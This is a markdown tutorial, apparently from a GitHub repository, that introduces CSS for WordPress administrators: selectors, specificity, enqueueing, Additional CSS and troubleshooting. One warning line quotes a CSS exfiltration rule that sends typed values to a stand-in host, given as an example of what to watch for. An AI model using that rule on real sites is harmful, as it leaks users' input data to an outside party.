Skip to content

Introduction-to-CSS.md

Latest commit

 

History

History
87 lines (63 loc) · 4.65 KB

Introduction-to-CSS.md

File metadata and controls

87 lines (63 loc) · 4.65 KB
Raw

Introduction to CSS

CSS (Cascading Style Sheets) is the language that controls the visual presentation — colors, fonts, spacing, and layout — of the HTML that WordPress themes output. It separates styling from content so the same markup can be restyled without editing templates.

Why it matters

Understanding CSS lets an administrator adjust a WordPress site's appearance without buying a new theme or hacking template PHP. It also matters for security awareness: overly permissive custom-CSS features or user-submitted styles can be an injection vector, so knowing how CSS is loaded and scoped helps you review what a theme or plugin actually applies. For an administrator, CSS is also the fastest, lowest-risk way to fix branding, contrast, or accessibility issues without touching PHP that an update might overwrite.

How it works

  • Selectors target elements: by tag (p), class (.site-title), or ID (#header).
  • Declarations set properties: property: value; inside { }.
  • The cascade resolves conflicts by origin, specificity, and source order — later and more specific rules win.
  • Specificity ranks inline styles > IDs > classes/attributes > elements.
  • WordPress themes enqueue a main style.css; child themes and the Customizer's Additional CSS load after it, so they override the parent.

In practice, WordPress does not hard-code <link> tags. Themes register their stylesheets through the enqueue system so that load order, dependencies, and cache-busting versions are handled centrally:

add_action( 'wp_enqueue_scripts', function () {
    wp_enqueue_style(
        'my-theme-style',
        get_stylesheet_uri(),   // resolves to the active theme's style.css
        array(),
        wp_get_theme()->get( 'Version' )
    );
} );

The safest place for small tweaks is Appearance → Customize → Additional CSS, which stores rules in the theme's wp_customize settings and injects them in the <head> after the theme stylesheet.

WordPress Customizer Additional CSS panel with a live-preview code box on the left

Example

/* Element selector */
body {
  font-family: Arial, sans-serif;
  color: #333;
}

/* Class selector — more specific, overrides the element rule */
.site-title {
  font-size: 2rem;
  font-weight: bold;
}

/* Scope changes to one page using the body class WordPress adds */
.page-id-42 .entry-content {
  max-width: 720px;
}

Tip

WordPress automatically outputs contextual classes on <body> (for example home, single, page-id-42, logged-in). Target those to scope styles to a specific page or state instead of restyling every page globally.

Security considerations

CSS itself cannot execute JavaScript, but it is still part of your attack surface:

  • Do not let untrusted users submit raw CSS. A url(), @import, or background-image can leak referrer data or load third-party assets; historically CSS has been abused for data exfiltration and clickjacking overlays.
  • Additional CSS is capability-gated. Editing it requires the edit_theme_options capability (Administrators, and Editors only if granted). Do not widen this role.
  • Prefer a child theme over editing the parent's style.css directly, so security and feature updates to the parent are not lost.

Warning

Never paste CSS from an untrusted forum or plugin without reading it. A rule such as input[value^="secret"] { background: url(https://evil.example/log?c) } can be used to exfiltrate typed values character by character.

Troubleshooting

  • Rule "does nothing"? A more specific selector is winning. Inspect the element in the browser DevTools "Styles" pane to see which rule overrides yours, then increase specificity rather than reaching for !important.
  • Change not appearing? Clear caching-plugin and CDN caches; enqueued styles are versioned, so bump the theme version or hard-refresh (Ctrl/Cmd+Shift+R).
  • Site Editor / block themes (WordPress 5.9+) also read theme.json and global styles — those can override classic CSS for block markup.

References

Related